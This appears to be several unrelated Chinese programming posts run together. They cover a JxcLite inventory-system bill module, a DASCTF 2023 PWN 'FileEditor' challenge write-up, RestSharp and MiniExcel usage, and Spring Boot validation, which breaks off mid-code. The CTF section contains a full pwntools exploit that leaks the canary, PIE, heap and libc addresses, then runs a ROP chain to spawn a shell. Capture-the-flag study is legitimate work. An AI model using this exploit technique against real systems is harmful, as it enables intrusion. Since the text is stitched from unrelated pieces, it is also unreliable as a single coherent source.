2024年7月

本文介绍如何实现进销存管理系统的业务单据模块,业务单据模块包括采购进货单、采购退货单、销售出货单、销售退货单4个菜单页面。由于进销单据字段大同小异,因此设计共用一个页面组件类。

1. 配置模块

运行项目,在【系统管理-模块管理】中配置如下模块菜单,配置教程参考之前的教程。

一级模块 二级模块 代码 图标 Url 描述
进货管理 Import import
采购进货单 ImportList unordered-list /bms/ImportList 查询和维护采购进货单信息。
采购退货单 ImportReturn unordered-list /bms/ImportReturn 查询和维护采购退货单信息。
销货管理 Export export
销售出货单 ExportList unordered-list /bms/ExportList 查询和维护销售出货单信息。
销售退货单 ExportReturn unordered-list /bms/ExportReturn 查询和维护销售退货单信息。

2. 实体类


JxcLite
项目
Entities
文件夹下面添加
JxBillHead.cs

JxBillList.cs
两个实体类文件,实体类代码可以直接复制模块管理中由模型设置生成的代码。文章中只简单描述一下实体类的定义,具体代码参见开源,代码定义如下:

namespace JxcLite.Entities;

/// <summary>
/// 业务单据表头信息类。
/// </summary>
public class JxBillHead : EntityBase { }

/// <summary>
/// 业务单据表体信息类。
/// </summary>
public class JxBillList : EntityBase { }

3. 建表脚本

打开
JxcLite.Web
项目
Resources
文件夹下的
Tables.sql
资源文件,复制粘贴由【模块管理-模型设置】中生成的建表脚本。文章中只简单描述一下建表脚本,具体脚本参见开源,内容如下:

CREATE TABLE [JxBillHead] (
    [Id]         varchar(50)      NOT NULL PRIMARY KEY,
    ...
    [Files]      nvarchar(500)    NULL
);

CREATE TABLE [JxBillList] (
    [Id]         varchar(50)      NOT NULL PRIMARY KEY,
    ...
    [Note]       ntext            NULL
);

4. 服务接口


JxcLite
项目
Services
文件夹下面添加业务单据模块服务接口,文件名定义为
IBillService.cs
,该接口定义前后端交互的Api访问方法,包括分页查询、批量删除实体、保存实体。具体方法定义如下:

namespace JxcLite.Services;

public interface IBillService : IService
{
    //分页查询业务单据信息
    Task<PagingResult<JxBillHead>> QueryBillsAsync(PagingCriteria criteria);
    //根据单据类型获取默认单据信息
    Task<JxBillHead> GetDefaultBillAsync(string type);
    //根据表头ID获取单据表体信息列表
    Task<List<JxBillList>> GetBillListsAsync(string headId);
    //批量删除业务单据信息
    Task<Result> DeleteBillsAsync(List<JxBillHead> models);
    //保存业务单据信息
    Task<Result> SaveBillAsync(UploadInfo<JxBillHead> info);
}

5. 服务实现


JxcLite.Web
项目
Services
文件夹下面添加业务单据模块服务接口的实现类,文件名定义为
BillService.cs
,文章中只简单描述一下实现类的定义和继承,具体实现参见开源,定义如下:

namespace JxcLite.Web.Services;

class BillService(Context context) : ServiceBase(context), IBaseDataService
{
    public Task<PagingResult<JxBillHead>> QueryBillsAsync(PagingCriteria criteria) { }
    public Task<JxBillHead> GetDefaultBillAsync(string type) { }
    public Task<List<JxBillList>> GetBillListsAsync(string headId) { }
    public Task<Result> DeleteBillsAsync(List<JxBillHead> models) { }
    public Task<Result> SaveBillAsync(UploadInfo<JxBillHead> info) { }
}

双击打开
JxcLite.Web
项目中的
AppWeb.cs
文件,在
AddJxcLiteCore
方法中注册服务类,前端组件可以通过依赖注入工厂创建服务的实例。代码如下:

public static class AppWeb
{
    public static void AddJxcLiteCore(this IServiceCollection services)
    {
        services.AddScoped<IBillService, BillService>();
    }
}

6. 数据依赖


JxcLite.Web
项目
Repositories
文件夹下面添加业务单据模块数据依赖类,文件名定义为
BillRepository.cs
,文章中只简单描述一下依赖类的定义,具体实现参见开源,定义如下:

namespace JxcLite.Web.Repositories;

class BillRepository
{
    internal static Task<PagingResult<JxBillHead>> QueryBillsAsync(Database db, PagingCriteria criteria) { }

    internal static Task<List<JxBillList>> GetBillListsAsync(Database db, string headId) { }
    //根据前缀获取最大业务单号
    internal static Task<string> GetMaxBillNoAsync(Database db, string prefix) { }
}

7. 列表页面


JxcLite.Client
项目
Pages\BillData
文件夹下面添加
BillList.cs
单据列表组件,该组件是进销单及退货单的列表组件共用类,具体实现参见开源,部分代码如下:

namespace JxcLite.Client.Pages.BillData;

public class BillList : BaseTablePage<JxBillHead>
{
    private IBillService Service;
    //取得业务单据类型(进货、进退货、销货、销退货),由具体单据页面重写该类型
    protected virtual string Type { get; }
    
    protected override async Task OnPageInitAsync()
    {
        await base.OnPageInitAsync();
        Service = await CreateServiceAsync<IBillService>();//创建服务
        Table.FormType = typeof(BillForm);//自定义表单类型
        Table.OnQuery = QueryBillsAsync;  //查询方法
        //下面是设置列表栏位显示的模板
        Table.Column(c => c.Status).Template((b, r) => b.Tag(r.Status));
        Table.Column(c => c.BillDate).Type(FieldType.Date);
    }
    //新增
    public async void New()
    {
        var row = await Service.GetDefaultBillAsync(Type);
        Table.NewForm(Service.SaveBillAsync, row);
    }
    //编辑
    public async void Edit(JxBillHead row)
    {
        row.Lists = await Service.GetBillListsAsync(row.Id);
        Table.EditForm(Service.SaveBillAsync, row);
    }
    //批量删除和删除
    public void DeleteM() => Table.DeleteM(Service.DeleteBillsAsync);
    public void Delete(JxBillHead row) => Table.Delete(Service.DeleteBillsAsync, row);
    //复制和退货
    public void Copy() => Table.SelectRow(async row => {});
    public void Return() => Table.SelectRow(async row => {});
    //打印
    public void Print() => Table.SelectRow(async row =>
    {
        row.Lists = await Service.GetBillListsAsync(row.Id);
        //BillPrint为业务单据打印组件
        await JS.PrintAsync<BillPrint>(f => f.Set(c => c.Model, row));
    });
    //导出
    public async void Export() => await ExportDataAsync();
    
    private Task<PagingResult<JxBillHead>> QueryBillsAsync(PagingCriteria criteria)
    {
        //设置单据类型查询条件
        criteria.SetQuery(nameof(JxBillHead.Type), QueryType.Equal, Type);
        return Service.QueryBillsAsync(criteria);
    }
}

8. 供应商和客户选择框


JxcLite.Client
项目
Shared
文件夹下面添加
PartnerPicker.cs
,该组件继承BasePicker,用于弹窗选择客户和供应商信息,具体实现参见开源,部分代码如下:

namespace JxcLite.Client.Shared;

public class PartnerPicker : BasePicker<JxPartner>
{
    private IBaseDataService Service;
    private TableModel<JxPartner> Table;
    //取得弹框选择的数据列表
    public override List<JxPartner> SelectedItems => Table.SelectedRows?.ToList();
    //取得或设置商业伙伴类型(客户、供应商)
    [Parameter] public string Type { get; set; }
    
    protected override async Task OnInitAsync() {}
    protected override void BuildContent(RenderTreeBuilder builder) => builder.Table(Table);
}

9. 商品信息选择框


JxcLite.Client
项目
Shared
文件夹下面添加
GoodsPicker.cs
,该组件继承BasePicker,用于弹窗选择商品信息,具体实现参见开源,部分代码如下:

namespace JxcLite.Client.Shared;

public class GoodsPicker : BasePicker<JxGoods>
{
    private IBaseDataService Service;
    private TableModel<JxGoods> Table;
    //取得弹框选择的数据列表
    public override List<JxGoods> SelectedItems => Table.SelectedRows?.ToList();
    
    protected override async Task OnInitAsync() {}
    protected override void BuildContent(RenderTreeBuilder builder) => builder.Table(Table);
}

10. 表单组件

首先在
JxcLite.Client
项目
Shared
文件夹下面添加
TypeForms.cs

TypeTables.cs
文件,添加业务单据表头类型表单组件和业务单据表体类型表格组件,代码如下:

namespace JxcLite.Client.Shared;

public class BillHeadTypeForm : AntForm<JxBillHead> { }

public class BillListTypeTable : AntTable<JxBillList> { }

再在
JxcLite.Client
项目
Pages\BillData
文件夹下面添加
BillForm.razor

BillForm.razor.cs
文件,由于单据表单组件有点复杂,代码较长,所以采用razor语法来实现,该组件是进销单及退货单的列表组件共用类,具体实现参见开源,部分代码如下:

@inherits BaseForm<JxBillHead>

<BillHeadTypeForm Form="Model">
    <AntRow>
        <DataItem Span="6" Label="业务单号" Required>
            <AntInput Disabled @bind-Value="@context.BillNo" />
        </DataItem>
        <DataItem Span="6" Label="单证状态">
            <KTag Text="@context.Status" />
        </DataItem>
        <DataItem Span="6" Label="单证日期" Required>
            <AntDatePicker @bind-Value="@context.BillDate" />
        </DataItem>
        <DataItem Span="6" Label="商业伙伴" Required>
            <PartnerPicker Value="@context.Partner" AllowClear
                           Type="@GetPartnerPickerType(context)" />
        </DataItem>
    </AntRow>
</BillHeadTypeForm>
<KToolbar>
    <KTitle Text="商品明细" />
    <div>
        @if (!Model.IsView)
        {
            <Button Type="@ButtonType.Primary" Icon="plus" OnClick="OnAdd">添加</Button>
        }
    </div>
</KToolbar>
<BillListTypeTable DataSource="Model.Data.Lists" HidePagination ScrollX="1300px" ScrollY="200px">
    <IntegerColumn Title="序号" Field="@context.SeqNo" Width="60" Fixed="left" />
    <StringColumn Title="商品编码" Width="120" Fixed="left">
        <AntInput @bind-Value="@context.Code" Style="width:100px" />
    </StringColumn>
    <StringColumn Title="金额" Width="100">
        <AntDecimal @bind-Value="@context.Amount" OnChange="e=>OnGoodsChange(3, context)" />
    </StringColumn>
    @if (!Model.IsView)
    {
        <ActionColumn Title="操作" Align="ColumnAlign.Center" Width="100" Fixed="right">
            <Tag Color="red-inverse" OnClick="e=>OnDelete(context)">删除</Tag>
        </ActionColumn>
    }
    <SummaryRow>
        <SummaryCell Fixed="left">合计</SummaryCell>
        <SummaryCell>@Model.Data.Lists.Sum(l => l.Amount)</SummaryCell>
        <SummaryCell />
        @if (!Model.IsView)
        {
            <SummaryCell />
        }
    </SummaryRow>
</BillListTypeTable>
namespace JxcLite.Client.Pages.BillData;

partial class BillForm
{
    private KUpload upload;
    private static string GetPartnerPickerType(JxBillHead model) {}
    private async void OnFilesChanged(List<FileDataInfo> files) {}
    private void OnAdd() {}
    private void OnDelete(JxBillList row) => Model.Data.Lists.Remove(row);
    private void OnGoodsChange(int field, JxBillList row) {}
}

11. 打印组件


JxcLite.Client
项目
Pages\BillData
文件夹下面添加
BillPrint.cs
,该组件是打印业务单据内容组件,具体实现参见开源,部分代码如下:

namespace JxcLite.Client.Pages.BillData;

class BillPrint : ComponentBase
{
    //业务单据实体对象
    [Parameter] public JxBillHead Model { get; set; }

    protected override void BuildRenderTree(RenderTreeBuilder builder)
    {
        BuildStyle(builder);//构建样式表,打印时调用浏览器的预览,选打印机打印
        BuildForm(builder); //构建打印表单
    }

    private static void BuildStyle(RenderTreeBuilder builder)
    {
        builder.Markup(@"<style>
.bill-print {position:relative;}
</style>");
    }

    private void BuildForm(RenderTreeBuilder builder) {}
}

DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)

题目保护情况(保护全家桶)

64位ida逆向

模拟了一个类似vim的功能,有打开文件,打印内容,插入行,删除行,复制行,和编辑行,还有查找字符和替换字符的功能,然后就是保存退出

一个一个来分析吧

1.open

就是打开一个file文件。没有会创建

2.show

(没有什么特别的,打印内容)

3.插入行

输入n,m,和内容,在n行前面插入m行

4.删除行

还是输入n和m,功能是在起始行m后删除n行

5.复制行

功能是复制自k行后面的m行数据给起始于n行之后的数据

6.编辑行

输入编辑的行,然后输入内容

7.查找字符

会把我们的内容先放到src上,src有0x70大小

8.替换字符

同样也是

9.保存退出

0.退出编辑

分析:可以通过查找字符或者替换字符的功能,把输入文件的内容放到栈上,输入0x68+1个字节覆盖canary末尾,然后打印的时候会顺带打印出canary,同样用这个手法,泄露出libc地址和堆地址,也可以不需要直接用libc里面的binsh字符串,最后通过编辑把ropchain写入栈上,然后查找时通过溢出劫持程序流来获取shell。

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./FileEditor')
#io = remote('node5.buuoj.cn',27825)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def open():
    io.sendlineafter('> choose:','1')


def instert(n,m,msg):
    io.sendlineafter('> choose:','3')
    io.sendlineafter('> To insert m lines before line n, please enter n m:',n)
    io.sendline(m)
    io.sendafter('> Please enter the content to be inserted in sequence:',msg)


def show():
    io.sendlineafter('> choose:','2')


def edit(num,msg):
    io.sendlineafter('> choose:','6')
    io.sendlineafter('> Please enter the line number to be modified:',num)
    io.sendafter('> Please enter the new content:',msg)

def find(string):
    io.sendlineafter('> choose:','7')
    io.sendlineafter('> Please enter the string to search for:',string)
    io.sendlineafter('> Do you want to continue searching? (y/n)','n')

#gdb.attach(io)
open()
payload = 'b'+'a'*(0x68-1)
#gdb.attach(io)
instert('1','1',payload)
io.send('\n')
find('b')
edit('1',payload)
io.send('\n')
show()
io.recvuntil('a'*103)
canary = u64(io.recv(8))-0xa
success('canary---->'+hex(canary))

payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*8
edit('1',payload)
io.send('\n')
#gdb.attach(io)
sleep(0.5)
show()
io.recvuntil('c'*8)
elf_base  = u64(io.recv(6).ljust(8,b'\x00')) - (0x59640d98850a -0x59640d987000)
success('elf_base----->'+hex(elf_base))

payload = payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*24 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
show()
io.recvuntil('d'*8)
heap = u64(io.recv(6).ljust(8,b'\x00')) -(0x5ab985b9d2a0 - 0x5ab985b9d000) + 0x96
success('heap----->'+hex(heap))

payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*48 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
show()

io.recvuntil('d'*8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x796487e29d90 -  0x796487e28000) + 0x86 -0x28000
success('libc_base---->'+hex(libc_base))
pause()
pop_rdi = elf_base + 0x0000000000002ac3 #: pop rdi ; ret 
pop_rsi = elf_base + 0x0000000000002ac1 #: pop rsi ; pop r15 ; ret
ret = elf_base + 0x000000000000101a #: ret 
system = libc_base + libc.sym['system']# -0x28000
binsh  = libc_base + next(libc.search('/bin/sh\0'))

#payload = b'b'+b'a'*(0x68-1) + p64(canary) + b'/bin/sh\x00' + p64(ret)
#payload += p64(pop_rdi) + p64(heap + 0x15e4) + p64(system)
payload = b'b'+b'a'*(0x68-1) + p64(canary) + p64(0xdeadbeef) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)

#gdb.attach(io)
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
find('b')

io.interactive()

首先,确保你已经安装了RestSharp NuGet包。如果没有安装,可以通过以下命令安装:

bash
Install-Package RestSharp

然后,在你的C#代码中,你可以按照以下步骤操作:

  1. 引用RestSharp命名空间。
  2. 创建一个RestClient实例。
  3. 创建一个RestRequest实例,并设置请求方法和URL。
  4. 执行异步POST请求。
  5. 处理响应。

以下是示例代码:

csharp
using System;
using System.Threading.Tasks;
using RestSharp;

public class RestClientExample
{
private readonly RestClient _client;

public RestClientExample(string baseUrl)
{
_client = new RestClient(baseUrl);
}

public async Task<RestResponse> GetAreaAsync()
{
var request = new RestRequest("GetArea", Method.Post);

// 如果需要添加请求头或请求体,可以在这里进行
// request.AddHeader("Authorization", "Bearer your-token");
// request.AddParameter("key", "value");

var response = await _client.ExecutePostAsync(request);
return response;
}
}

// 使用示例
class Program
{
static async Task Main(string[] args)
{
var baseUrl = "http://example.com/api"; // 替换为你的API基础URL
var restClient = new RestClientExample(baseUrl);

try
{
var response = await restClient.GetAreaAsync();

if (response.IsSuccessful)
{
Console.WriteLine($"请求成功,响应内容:{response.Content}");
}
else
{
Console.WriteLine($"请求失败,状态码:{response.StatusCode}, 错误信息:{response.ErrorMessage}");
}
}
catch (Exception ex)
{
Console.WriteLine($"发生异常:{ex.Message}");
}
}
}

请注意,你需要根据实际情况替换
baseUrl
变量的值,并且根据API的要求添加必要的请求头和参数。如果API需要身份验证,请确保添加相应的授权头。

此外,如果你的API返回的是JSON格式的数据,你可以使用
response.Content
来获取原始响应内容,然后使用JSON解析库(如Newtonsoft.Json)来解析数据。

前言

MiniExcel 是一个用于 .NET 平台的轻量级、高性能的库,专注于提供简单易用的 API 来处理 Excel 文件。以下是 MiniExcel 的特点总结:

  • 轻量级与高效
    :MiniExcel 设计为占用较少的系统资源,尤其在内存使用上表现优秀,适合处理大数据集而不会导致内存溢出。

  • 简单易用
    :API 设计直观,易于理解和使用,即使是初学者也能迅速上手,进行 Excel 数据的读取和写入操作。

  • 快速读写
    :MiniExcel 提供了快速的数据读写机制,能够有效提高处理 Excel 文件的效率,特别是在大数据量场景下。

  • 灵活的数据处理
    :支持多种数据类型,包括但不限于数字、文本、日期等,并提供了数据转换和格式化功能。

  • 数据填充
    :MiniExcel 支持数据填充,可以将数据模板与数据集合相结合,快速生成大量格式化的 Excel 报告。

  • 模板支持
    :利用模板,可以轻松创建带有预设样式和布局的复杂 Excel 文档,减少重复工作。

  • 跨平台兼容性
    :MiniExcel 在 .NET Standard 下运行良好,意味着它可以在多个平台上使用,包括 Windows、macOS 和 Linux。

  • 易于集成
    :可以轻松地将 MiniExcel 集成到现有的 .NET 项目中,无论是 Web 应用、桌面应用还是服务端应用。

MiniExcel 是处理 Excel 文件的理想选择,尤其是对于那些寻求在 .NET 应用中实现快速、低内存消耗的 Excel 数据读写功能的开发者。无论是用于数据分析、报告生成还是数据导入导出,MiniExcel 都能提供强大的支持。

项目介绍

MiniExcel简单、高效避免OOM的.NET处理Excel查、写、填充数据工具。

目前主流框架大多需要将数据全载入到内存方便操作,但这会导致内存消耗问题,MiniExcel 尝试以 Stream 角度写底层算法逻辑,能让原本1000多MB占用降低到几MB,避免内存不够情况。

处理Excel性能对比

1、导入、查询 Excel 比较

2、导出、创建 Excel 比较

安装 MiniExcel

可以查看NuGet命令

https://www.nuget.org/packages/MiniExcel

dotnet add package MiniExcel --version 1.34.0

1、Query 查询 Excel 返回强型别 IEnumerable 数据

public classUserAccount  
{
public Guid ID { get; set; }public string Name { get; set; }public DateTime BoD { get; set; }public int Age { get; set; }public bool VIP { get; set; }public decimal Points { get; set; }
}
var rows = MiniExcel.Query<UserAccount>(path);

2、 Query 查询 Excel 返回Dynamic IEnumerable 数据

Key 系统预设为 A,B,C,D...Z

MiniExcel 1
Github
2

var rows =MiniExcel.Query(path).ToList();//or
using (var stream =File.OpenRead(path))
{
var rows =stream.Query().ToList();

Assert.Equal(
"MiniExcel", rows[0].A);
Assert.Equal(
1, rows[0].B);
Assert.Equal(
"Github", rows[1].A);
Assert.Equal(
2, rows[1].B);
}

3、查询数据以第一行数据当Key

注意 : 同名以右边数据为准

Input Excel :

Column1 Column2
MiniExcel 1
Github 2

var rows = MiniExcel.Query(useHeaderRow:true).ToList();//or

using (var stream =File.OpenRead(path))
{
var rows = stream.Query(useHeaderRow:true).ToList();

Assert.Equal(
"MiniExcel", rows[0].Column1);
Assert.Equal(
1, rows[0].Column2);
Assert.Equal(
"Github", rows[1].Column1);
Assert.Equal(
2, rows[1].Column2);
}

4、Query 查询支援延迟加载(Deferred Execution),能配合LINQ First/Take/Skip办到低消耗、高效率复杂查询

举例 : 查询第一笔数据

var row =MiniExcel.Query(path).First();
Assert.Equal(
"HelloWorld", row.A);//or using (var stream =File.OpenRead(path))
{
var row =stream.Query().First();
Assert.Equal(
"HelloWorld", row.A);
}

5、查询指定 Sheet 名称

MiniExcel.Query(path, sheetName: "SheetName");//or
stream.Query(sheetName: "SheetName");

6、查询所有 Sheet 名称跟数据

var sheetNames =MiniExcel.GetSheetNames(path);foreach (var sheetName insheetNames)
{
var rows =MiniExcel.Query(path, sheetName: sheetName);
}

7、查询所有栏(列)

var columns = MiniExcel.GetColumns(path); //e.g result : ["A","B"...]
orvar columns = MiniExcel.GetColumns(path, useHeaderRow: true);//e.g result : ["excel表实际的列名称","excel表实际的列名称"...]

var cnt = columns.Count;  //get column count

8、Dynamic Query 转成 IDictionary<string,object> 数据

foreach(IDictionary<string,object> row inMiniExcel.Query(path))
{
//.. }//or var rows = MiniExcel.Query(path).Cast<IDictionary<string,object>>();//or 查询指定范围(要大写才生效哦)//A2(左上角)代表A列的第二行,C3(右下角)代表C列的第三行//如果你不想限制行,就不要包含数字 var rows = MiniExcel.QueryRange(path, startCell: "A2", endCell: "C3").Cast<IDictionary<string, object>>();

9、Query 读 Excel 返回 DataTable

提醒 : 不建议使用,因为DataTable会将数据全载入内存,失去MiniExcel低内存消耗功能。

var table = MiniExcel.QueryAsDataTable(path, useHeaderRow: true);

10、指定单元格开始读取数据

MiniExcel.Query(path,useHeaderRow:true,startCell:"B3")

11、合并的单元格填充

注意 : 效率相对于没有使用合并填充来说差

底层原因 : OpenXml 标准将 mergeCells 放在文件最下方,导致需要遍历两次 sheetxml

var config = newOpenXmlConfiguration()
{
FillMergedCells
= true};var rows = MiniExcel.Query(path, configuration: config);

12、读取大文件硬盘缓存 (Disk-Base Cache - SharedString)

概念 : MiniExcel 当判断文件 SharedString 大小超过 5MB,预设会使用本地缓存,如 10x100000.xlsx(一百万笔数据),读取不开启本地缓存需要最高内存使用约195MB,开启后降为65MB。

但要特别注意,此优化是以时间换取内存减少,所以读取效率会变慢,此例子读取时间从 7.4 秒提高到 27.2 秒,假如不需要能用以下代码关闭硬盘缓存

var config = new OpenXmlConfiguration { EnableSharedStringCache = false};
MiniExcel.Query(path,configuration: config)

也能使用 SharedStringCacheSize 调整 sharedString 文件大小超过指定大小才做硬盘缓存

var config = new OpenXmlConfiguration { SharedStringCacheSize=500*1024*1024};
MiniExcel.Query(path, configuration: config);

写/导出 Excel

必须是非abstract 类别有公开无参数构造函数

MiniExcel SaveAs 支援 IEnumerable参数延迟查询,除非必要请不要使用 ToList 等方法读取全部数据到内存

是否呼叫 ToList 的内存差别,如下图所示:

1、支持集合<匿名类别>或是<强型别>

var path = Path.Combine(Path.GetTempPath(), $"{Guid.NewGuid()}.xlsx");  
MiniExcel.SaveAs(path,
new[] {new { Column1 = "MiniExcel", Column2 = 1},new { Column1 = "Github", Column2 = 2}
});

2、IEnumerable<IDictionary<string, object>>

var values = new List<Dictionary<string, object>>()  
{
new Dictionary<string,object>{{ "Column1", "MiniExcel" }, { "Column2", 1} },new Dictionary<string,object>{{ "Column1", "Github" }, { "Column2", 2} }
};
MiniExcel.SaveAs(path, values);

3、IDataReader

推荐使用,可以避免载入全部数据到内存 MiniExcel.SaveAs(path, reader);

推荐 DataReader 多表格导出方式(建议使用 Dapper ExecuteReader )

using (var cnn =Connection)
{
cnn.Open();
var sheets = new Dictionary<string,object>();
sheets.Add(
"sheet1", cnn.ExecuteReader("select 1 id"));
sheets.Add(
"sheet2", cnn.ExecuteReader("select 2 id"));
MiniExcel.SaveAs(
"Demo.xlsx", sheets);
}

4、Datatable

不推荐使用,会将数据全载入内存

优先使用 Caption 当栏位名称

var path = Path.Combine(Path.GetTempPath(), $"{Guid.NewGuid()}.xlsx");var table = newDataTable();
{
table.Columns.Add(
"Column1", typeof(string));
table.Columns.Add(
"Column2", typeof(decimal));
table.Rows.Add(
"MiniExcel", 1);
table.Rows.Add(
"Github", 2);
}

MiniExcel.SaveAs(path, table);

5、Dapper Query

6、SaveAs 支持 Stream,生成文件不落地

7、创建多个工作表(Sheet)

8、表格样式选择

9、AutoFilter 筛选

10、图片生成

11、Byte Array 文件导出

12、垂直合并相同的单元格

13、是否写入 null values cell

模板填充 Excel

1、基本填充

2、IEnumerable 数据填充

3、复杂数据填充

4、大数据填充效率比较

5、Cell 值自动类别对应

6、Example : 列出 Github 专案

var projects = new[]
{
new {Name = "MiniExcel",Link="https://github.com/shps951023/MiniExcel",Star=146, CreateTime=new DateTime(2021,03,01)},new {Name = "HtmlTableHelper",Link="https://github.com/shps951023/HtmlTableHelper",Star=16, CreateTime=new DateTime(2020,02,01)},new {Name = "PocoClassGenerator",Link="https://github.com/shps951023/PocoClassGenerator",Star=16, CreateTime=new DateTime(2019,03,17)}
};
var value = new{
User
= "ITWeiHan",
Projects
=projects,
TotalStar
= projects.Sum(s =>s.Star)
};
MiniExcel.SaveAsByTemplate(path, templatePath, value);

8、DataTable 当参数

地址

https://gitee.com/dotnetchina/MiniExcel

如果觉得这篇文章对你有用,欢迎加入微信公众号 [
DotNet技术匠
] 社区,与其他热爱技术的同行交流心得,共同成长。

一、故事背景

关于参数合法性验证的重要性就不多说了,即使前端对参数做了基本验证,后端依然也需要进行验证,以防不合规的数据直接进入服务器,如果不对其进行拦截,
严重的甚至会造成系统直接崩溃

本文结合自己在项目中的实际使用经验,
主要以实用为主,对数据合法性验证做一次总结
,不了解的朋友可以学习一下,同时可以立马实践到项目上去。

下面我们通过几个示例来演示如何判断参数是否合法,废话不多说,直接撸起来!

二、断言验证

对于参数的合法性验证,最初的做法比较简单,自定义一个异常类。

public class CommonException extends RuntimeException {

    private Integer code;

    public Integer getCode() {
        return code;
    }

    public CommonException(String message) {
        super(message);
        this.code = 500;
    }

    public CommonException(Integer code, String message) {
        super(message);
        this.code = code;
    }
}

当检查到某个参数不合法的时候,直接抛异常!

@RestController
public class HelloController {

    @RequestMapping("/upload")
    public void upload(MultipartFile file) {
        if (file == null) {
            throw new CommonException("请选择上传文件!");
        }
        //.....
    }
}

最后写一个统一异常拦截器,对抛异常的逻辑进行兜底处理。

这种做法比较简单直观,
如果当前参数既要判断是否为空,又要判断长度是否超过最大限制的时候,代码就会显得很臃肿,而且复用性很差

于是,程序界的大佬想到了一个更加优雅又能节省代码的方式,创建一个断言类工具类,专门用来判断参数的是否合法,如果不合法就抛异常,示例如下:

/**
 * 断言工具类
 */
public abstract class LocalAssert {
    
    public static void isTrue(boolean expression, String message) throws CommonException {
        if (!expression) {
            throw new CommonException(message);
        }
    }
    public static void isStringEmpty(String param, String message) throws CommonException{
        if(StringUtils.isEmpty(param)) {
            throw new CommonException(message);
        }
    }

    public static void isObjectEmpty(Object object, String message) throws CommonException {
        if (object == null) {
            throw new CommonException(message);
        }
    }

    public static void isCollectionEmpty(Collection coll, String message) throws CommonException {
        if (coll == null || (coll.size() == 0)) {
            throw new CommonException(message);
        }
    }
}

当我们需要对参数进行验证的时候,直接通过这个类就可以完成,示例如下:

@RestController
public class HelloController {

    @RequestMapping("/save")
    public void save(String name, String email) {
        LocalAssert.isStringEmpty(name, "用户名不能为空!");
        LocalAssert.isStringEmpty(email, "邮箱不能为空!");
        
        //.....
    }
}

相比上面的实现方式,这种处理逻辑,代码明显要简洁的多!

类似这样的工具类还很多,比如
spring
也提供了一个名为
Assert
的断言工具类,在开发的时候,可以直接使用!

三、注解验证

下面我们要介绍的是另一种更简洁的参数验证逻辑,使用注解来对数据进行合法性验证,不仅代码会变得很简洁,阅读起来也十分令人赏心悦目!

以 Spring Boot 工程为例,下面我们一起来看看具体的实践方式。

3.1、添加依赖包

首先在
pom.xml
中引入
spring-boot-starter-web
依赖包即可,它会自动将注解验证相关的依赖包打入工程!

<!-- spring boot web -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

3.2、编写注解校验请求对象

接着创建一个实体
User
,用于封装用户注册时的请求参数,
并在参数属性上添加对应的注解验证规则

import javax.validation.constraints.Email;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.Size;

public class User {

    @NotBlank(message = "用户名不能为空!")
    private String userName;

    @Email(message = "邮箱格式不正确")
    @NotBlank(message = "邮箱不能为空!")
    private String email;

    @NotBlank(message = "密码不能为空!")
    @Size(min = 8, max = 16,message = "请输入长度在8~16位的密码")
    private String userPwd;

    @NotBlank(message = "确认密码不能为空!")
    private String confirmPwd;

    // set、get方法等...
}

3.3、编写请求接口


web
层创建一个
register()
注册接口方法,同时在请求参数上添加
@Valid
注解,示例如下:

import javax.validation.Valid;

@RestController
public class UserController {

    @RequestMapping("/register")
    public ResultMsg register(@RequestBody @Valid User user){
        if(!user.getUserPwd().equals(user.getConfirmPwd())){
            throw new CommonException(4001, "确认密码与密码不相同,请确认!");
        }
        //业务处理...
        return ResultMsg.success();
    }
}

3.4、编写全局异常处理器

最后自定义一个异常全局处理器,用于处理异常逻辑,如下:

@ControllerAdvice
public class GlobalExceptionHandler {

    private static final Logger LOGGER = LoggerFactory.getLogger(GlobalExceptionHandler.class);

    /**
     * 拦截Controller层的异常
     * @param e
     * @return
     */
    @ExceptionHandler(value = {Exception.class})
    @ResponseBody
    public Object exceptionHandler(HttpServletRequest request, Exception e){
        LOGGER.error("【统一异常拦截】请求地址:{}, 错误信息:{}", request.getRequestURI(), e.getMessage());
        // 注解验证抛出的异常
        if(e instanceof MethodArgumentNotValidException){
            // 获取错误信息
            String error = ((MethodArgumentNotValidException) e).getBindingResult().getFieldError().getDefaultMessage();
            return ResultMsg.fail(500, error);
        }
        // 自定义抛出的异常
        if(e instanceof CommonException){
            return ResultMsg.fail(((CommonException) e).getCode(), e.getMessage());
        }
        return ResultMsg.fail(999, e.getMessage());
    }
}

统一响应对象
ResultMsg
,如下:

public class ResultMsg<T> {

    /**状态码**/
    private int code;

    /**结果描述**/
    private String message;

    /**结果集**/
    private T data;

    /**时间戳**/
    private long timestamp;

    // set、get方法等...
}

3.5、服务测试

启动项目,使用
postman
来验证一下代码的正确性,看看效果如何?

  • 测试字段是否为空

  • 测试邮箱是否合法

  • 测试密码长度是否符合要求

  • 测试密码与确认密码是否相同

可以看到,验证结果与预期一致!

四、自定义注解验证

事实上,熟悉 SpringMVC 源码的同学可能知道,Spring Boot 内置了一个
hibernate-validator
校验组件,上文就是利用它来完成对请求时入参上的注解验证。

默认的情况下,依赖包已经给我们提供了非常多的校验注解,如下!

  • JSR 提供的校验注解!

  • Hibernate Validator 提供的校验注解

但是某些情况,例如性别这个参数,可能需要我们自己去手动验证。

针对这种情况,我们也可以自定义一个注解来完成参数的校验,也便于进一步了解注解验证的原理。

自定义注解验证,实现方式如下!

首先,创建一个
Sex
注解。

@Target({FIELD})
@Retention(RUNTIME)
@Constraint(validatedBy = SexValidator.class)
@Documented
public @interface Sex {

    String message() default "性别值不在可选范围内";

    Class<?>[] groups() default {};

    Class<? extends Payload>[] payload() default {};
}

然后,创建一个
SexValidator
类,实现自
ConstraintValidator
接口

public class SexValidator implements ConstraintValidator<Sex, String> {

    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        Set<String> sexSet = new HashSet<String>();
        sexSet.add("男");
        sexSet.add("女");
